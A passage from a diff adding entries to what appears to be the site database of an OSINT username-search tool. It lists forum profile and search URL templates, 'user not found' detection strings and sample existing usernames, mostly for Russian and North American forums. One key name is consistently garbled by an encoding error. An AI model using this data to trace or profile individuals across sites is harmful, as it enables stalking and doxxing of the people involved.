"User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_njofficer": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Contact your hosting provider", + "errorTyp��": "message", + "url": "https://www.njofficer.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://www.njofficer.com", + "usernameON": "JRoberts", + "comments": "Oplata", + "bad_site": 1 + }, + "Forum_nkp": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nn2000.ucoz.ru/index/8-0-{}", + "urlMain": "https://nn2000.ucoz.ru", + "usernameON": "nn2000", + "bad_site": "" + }, + "Forum_nocd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nocd.ru/index/8-0-{}", + "urlMain": "https://nocd.ru", + "usernameON": "Fridrih", + "bad_site": "" + }, + "Forum_noginsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://noginsk.ucoz.com/index/8-0-{}", + "urlMain": "https://noginsk.ucoz.com", + "usernameON": "Skyler", + "bad_site": "" + }, + "Forum_nohide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://nohide.io/members/?username={}", + "urlMain": "https://nohide.io", + "usernameON": "gamerocs", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nokia6230i": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://nokia6230i.ucoz.ru/index/8-0-{}", + "urlMain": "https://nokia6230i.ucoz.ru", + "usernameON": "Dim0271", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nokiasoft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "url": "https://nokiasoft.3dn.ru/index/8-0-{}", + "urlMain": "https://nokiasoft.3dn.ru", + "usernameON": "OOccuts", + "bad_site": "", + "comments": "bad", + "exclusion": "\\W" + }, + "Forum_nomadbsd": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.nomadbsd.org/u/{}/summary", + "urlMain": "https://forum.nomadbsd.org", + "usernameON": "borgio3", + "bad_site": "" + }, + "Forum_nonarko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum-nonarko.ru/members/?username={}", + "urlMain": "https://forum-nonarko.ru", + "usernameON": "GAVR", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nooneaboveus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "url": "https://nooneaboveus.ucoz.ru/index/8-0-{}", + "urlMain": "https://nooneaboveus.ucoz.ru", + "usernameON": "Лана", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nordog": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nordog.ucoz.ru/index/8-0-{}", + "urlMain": "https://nordog.ucoz.ru", + "usernameON": "gutan1201", + "bad_site": "" + }, + "Forum_northernbrewer": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.northernbrewer.com/users/{}/activity", + "urlMain": "https://forum.northernbrewer.com", + "usernameON": "joonze", + "bad_site": "" + }, + "Forum_northstandchat": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.northstandchat.com/members/?username={}", + "urlMain": "https://www.northstandchat.com", + "usernameON": "hitony", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nosmoking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://nosmoking.ru/phpBB2/search.php?keywords=&terms=all&author={}", + "urlMain": "https://nosmoking.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_Not_606": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://not606.com/members/?username={}", + "urlMain": "https://not606.com", + "usernameON": "fromthestands", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_nousch1": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nousch1.ucoz.ru/index/8-0-{}", + "urlMain": "https://nousch1.ucoz.ru", + "usernameON": "Lostoff", + "bad_site": "" + }, + "Forum_novascotiahunting": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novascotiahunting.com/members/?username={}", + "urlMain": "https://www.novascotiahunting.com", + "usernameON": "3macs1", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.novelupdates.com/members/?username={}", + "urlMain": "https://forum.novelupdates.com", + "usernameON": "lilly2805", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novelupdatesforum": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.novelupdatesforum.com/members/?username={}", + "urlMain": "https://www.novelupdatesforum.com", + "usernameON": "parth37955", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_novfishing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "К сожалению, возникла проблема", + "errorTyp��": "message", + "url": "https://novfishing.ru/search/?&q={}&type=core_members", + "urlMain": "https://novfishing.ru", + "usernameON": "red", + "bad_site": "" + }, + "Forum_novoe-chelovech": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://novoe-chelovech.ucoz.ru/index/8-0-{}", + "urlMain": "http://novoe-chelovech.ucoz.ru", + "usernameON": "Asteroidbum", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_novokrasnyanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://novokrasnyanka.ucoz.ua/index/8-0-{}", + "urlMain": "https://novokrasnyanka.ucoz.ua", + "usernameON": "vilniy", + "bad_site": "" + }, + "Forum_novsevkuchino": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://novsevkuchino.my1.ru/index/8-0-{}", + "urlMain": "https://novsevkuchino.my1.ru", + "usernameON": "Zews", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_npest": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://npest.moy.su/index/8-0-{}", + "urlMain": "https://npest.moy.su", + "usernameON": "Juku", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_nsk-cb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "Insufficient Storage", + "errorTyp��": "message", + "url": "http://forum.nsk-cb.ru/memberlist.php?username={}", + "urlMain": "http://forum.nsk-cb.ru", + "usernameON": "abjectradical82", + "bad_site": "" + }, + "Forum_nsk_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://nsk.clan.su/index/8-0-{}", + "urlMain": "https://nsk.clan.su", + "usernameON": "Elnor", + "bad_site": "" + }, + "Forum_nsu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://forum.nsu.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.nsu.ru", + "usernameON": "Znaika", + "bad_site": 1 + }, + "Forum_ntc_party": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ntc.party/u/{}", + "urlMain": "https://ntc.party", + "usernameON": "tango", + "bad_site": "" + }, + "Forum_nudostar": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nudostar.com/forum/members/?username={}", + "urlMain": "https://nudostar.com", + "usernameON": "ahmedhananii", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nulled_CLOSEDEAD": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.nulled.to/index.php?app=core&module=search&do=search&andor_type=and&search_author={}&search_content=both&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term=&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=title&search_app_filters[members][members][sortDir]=", + "urlMain": "https://www.nulled.to", + "usernameON": "crybaby20240", + "bad_site": 1 + }, + "Forum_numis": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.numisforums.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.numisforums.com", + "usernameON": "rasiel", + "bad_site": "" + }, + "Forum_nunchaku": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "https://forum.nvworld.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.nvworld.ru", + "usernameON": "epddsns", + "bad_site": "" + }, + "Forum_nyangler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://nyangler.com/members/?username={}", + "urlMain": "https://nyangler.com", + "usernameON": "leprechaun", + "comments": "zamedlenie", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nybass": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nybass.com/members/?username={}", + "urlMain": "https://www.nybass.com", + "usernameON": "jaysen", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_nyccnc": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Oops", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://nyccnc.com/forums/users/{}/", + "urlMain": "https://nyccnc.com/", + "usernameON": "ltborg", + "bad_site": "" + }, + "Forum_nycfire": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.nycfire.net/forums/members/?username={}", + "urlMain": "https://www.nycfire.net", + "usernameON": "signal73", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_obama_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obama.ucoz.ru/index/8-0-{}", + "urlMain": "https://obama.ucoz.ru", + "usernameON": "uKc", + "bad_site": "" + }, + "Forum_obkon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obkon.ucoz.com/index/8-0-{}", + "urlMain": "https://obkon.ucoz.com", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_obninskchess": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Page not found", + "errorMsg2": "404", + "errorTyp��": "message", + "url": "https://chessiki.ru/forums/profile/{}", + "urlMain": "https://chessiki.ru/", + "usernameON": "lvdraphael", + "bad_site": "" + }, + "Forum_obovcem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obovcem.ucoz.ru/index/8-0-{}", + "urlMain": "https://obovcem.ucoz.ru/", + "usernameON": "Obovcem", + "bad_site": "" + }, + "Forum_obovsem_piter": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://obzhorkinsajt.ucoz.ru/index/8-0-{}", + "urlMain": "https://obzhorkinsajt.ucoz.ru", + "usernameON": "iisus1996", + "bad_site": "" + }, + "Forum_octothorp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.octothorp.team/user/{}", + "urlMain": "https://forum.octothorp.team", + "usernameON": "porkove", + "bad_site": "" + }, + "Forum_odessacrewing": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://odessacrewing.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://odessacrewing.kamrbb.ru", + "usernameON": "csplus", + "bad_site": "" + }, + "Forum_odinhram": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinhram.3dn.ru/index/8-0-{}", + "urlMain": "https://odinhram.3dn.ru", + "usernameON": "elenas", + "bad_site": "" + }, + "Forum_odinochestvo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odinochestvo.moy.su/index/8-0-{}", + "urlMain": "https://odinochestvo.moy.su", + "usernameON": "Marion", + "bad_site": "" + }, + "Forum_odnokursniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odnokursniki.clan.su/index/8-0-{}", + "urlMain": "https://odnokursniki.clan.su", + "usernameON": "vsetransport", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_odonvv": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://odonvv.ru/index/8-0-{}", + "urlMain": "https://odonvv.ru", + "usernameON": "Vodoley", + "bad_site": "" + }, + "Forum_officiating": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://offthepost.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://offthepost.org", + "usernameON": "Bosc", + "bad_site": "" + }, + "Forum_ofo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ofo.ucoz.ru/index/8-0-{}", + "urlMain": "https://ofo.ucoz.ru", + "usernameON": "sudba", + "bad_site": "" + }, + "Forum_ogxbox": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.ogxbox.com/forums/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.ogxbox.com", + "usernameON": "dtomcat", + "bad_site": "" + }, + "Forum_ohiogamefishing": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiogamefishing.com/members/?username={}", + "urlMain": "https://www.ohiogamefishing.com", + "usernameON": "deadeyedeek", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiosportsman": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiosportsman.com/members/?username={}", + "urlMain": "https://www.ohiosportsman.com", + "usernameON": "pbudi59", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohiowaterfowler": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.ohiowaterfowlerforum.com/members/?username={}", + "urlMain": "https://www.ohiowaterfowlerforum.com", + "usernameON": "jimmy81", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_ohota-ribalka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ohota-ribalka.at.ua/index/8-0-{}", + "urlMain": "https://ohota-ribalka.at.ua", + "usernameON": "gratch79", + "bad_site": "" + }, + "Forum_ohrana-truda": { + "country": "🇧🇾", + "country_klas": "BY", + "errorMsg": "0 результатов", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.ohrana-truda.by/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.ohrana-truda.by", + "usernameON": "admin", + "bad_site": "" + }, + "Forum_oih_med": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "403 Forbidden", + "errorMsg2": "Пользователь не найден", + "errorTyp��": "message", + "url": "https://oih.at.ua/index/8-0-{}", + "urlMain": "https://oih.at.ua", + "usernameON": "fiorella", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oil-club": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Just a moment", + "errorMsg2": "Found 0 results", + "errorMsg3": "Найдено 0", + "errorTyp��": "message", + "url": "https://www.oil-club.ru/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.oil-club.ru", + "usernameON": "tattoedarm", + "bad_site": "" + }, + "Forum_oilburners": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oilburners.net/members/?username={}", + "urlMain": "https://www.oilburners.net", + "usernameON": "kansasidi", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oklahomahunter": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.oklahomahunter.net/members/?username={}", + "urlMain": "https://www.oklahomahunter.net", + "usernameON": "drc458", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_okna-7": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://okna-7.my1.ru/index/8-0-{}", + "urlMain": "https://okna-7.my1.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_old_ap": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://old.ap-pro.ru/index/8-0-{}", + "urlMain": "http://old.ap-pro.ru/", + "usernameON": "dkfllelfhtd", + "bad_site": "" + }, + "Forum_old_sukhoi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "robots\" content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://old.sukhoi.ru/forum/member.php?username={}", + "urlMain": "http://old.sukhoi.ru", + "usernameON": "GreyWind", + "bad_site": "" + }, + "Forum_oldbel-kovalevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oldbel-kovalevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://oldbel-kovalevo.ucoz.ru", + "usernameON": "skorodihin", + "bad_site": "" + }, + "Forum_oldclassiccar": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry,", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.oldclassiccar.co.uk/forum/phpbb/phpBB2/profile.php?mode=viewprofile&u={}", + "urlMain": "https://www.oldclassiccar.co.uk", + "usernameON": "davids", + "bad_site": "" + }, + "Forum_oldmeloman": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://oldmeloman.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://oldmeloman.kamrbb.ru", + "usernameON": "gustava", + "bad_site": "" + }, + "Forum_oldones": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.oldones.org/index/8-0-{}", + "urlMain": "http://www.oldones.org", + "usernameON": "rpavel693", + "comments": "bad", + "bad_site": 1 + }, + "forum_oldpokemon": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "https://forum.oldpokemon.ru/memberlist.php?sk=c&sd=a&username={}", + "urlMain": "https://forum.oldpokemon.ru", + "usernameON": "BisQuit", + "bad_site": 1 + }, + "Forum_olujaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://olujaz.ucoz.ru/index/8-0-{}", + "urlMain": "https://olujaz.ucoz.ru", + "usernameON": "ccbeclexanthirt", + "bad_site": "" + }, + "Forum_oluss": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oluss.at.ua/index/8-0-{}", + "urlMain": "https://oluss.at.ua", + "usernameON": "oluss", + "bad_site": "" + }, + "Forum_omaddiet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omaddiet.com/community/members/?username={}", + "urlMain": "https://omaddiet.com", + "usernameON": "sumeria9", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_omega": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://omegaforums.net/members/?username={}", + "urlMain": "https://omegaforums.net", + "usernameON": "fsg", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_oms": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://oms.ucoz.com/index/8-0-{}", + "urlMain": "https://oms.ucoz.com", + "usernameON": "pysarievai", + "bad_site": "" + }, + "Forum_omskmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Извините, такого пользователя не существует", + "errorMsg2": "ОмскМама", + "errorTyp��": "message", + "url": "https://forum.omskmama.ru/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.omskmama.ru", + "usernameON": "vo24uk", + "bad_site": "" + }, + "Forum_onbankir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "https://onbankir.moy.su/index/8-0-{}", + "urlMain": "https://onbankir.moy.su", + "usernameON": "burenokscody", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_oneclickchicks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "One Click Chicks Forum", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://forum.oneclickchicks.com/member.php?username={}", + "urlMain": "https://forum.oneclickchicks.com", + "usernameON": "osreb", + "bad_site": "" + }, + "Forum_onefinitycnc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.onefinitycnc.com/u/{}/summary", + "urlMain": "https://forum.onefinitycnc.com/", + "usernameON": "tahoe1840", + "bad_site": "" + }, + "Forum_online-dendy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://online-dendy.ru/index/8-0-{}", + "urlMain": "http://online-dendy.ru", + "usernameON": "fumssHesy", + "bad_site": "" + }, + "Forum_online-knigi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://forum.online-knigi.com/members/?username={}", + "urlMain": "https://forum.online-knigi.com", + "usernameON": "brazilla", + "bad_site": 1, + "comments": "bad", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_online-money": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://online-money.3dn.ru/index/8-0-{}", + "urlMain": "https://online-money.3dn.ru", + "usernameON": "JafidNub", + "bad_site": "" + }, + "Forum_onlline-game_pp": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://onlline-game.pp.net.ua/index/8-0-{}", + "urlMain": "http://onlline-game.pp.net.ua", + "usernameON": "KREDO", + "bad_site": "" + }, + "Forum_onlyfans": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "robots\" content=\"noindex, nofollow", + "errorMsg2": "Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://onlyfansforum.com/author/{}/", + "urlMain": "https://onlyfansforum.com", + "usernameON": "fapello", + "comments": "bad", + "bad_site": "" + }, + "Forum_onlyrus": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onlyrus.ucoz.net/index/8-0-{}", + "urlMain": "https://onlyrus.ucoz.net", + "usernameON": "gromovmail", + "bad_site": "" + }, + "Forum_onlytech": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://onlytech.com/community/members/?username={}", + "urlMain": "https://onlytech.com", + "usernameON": "davidjohn91", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_onru": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onru.my1.ru/index/8-0-{}", + "urlMain": "https://onru.my1.ru", + "usernameON": "Heavy", + "bad_site": "" + }, + "Forum_onz-shot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://onz-shot.3dn.ru/index/8-0-{}", + "urlMain": "https://onz-shot.3dn.ru", + "usernameON": "WezhewBlesy", + "bad_site": "" + }, + "Forum_oopkmoskva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + 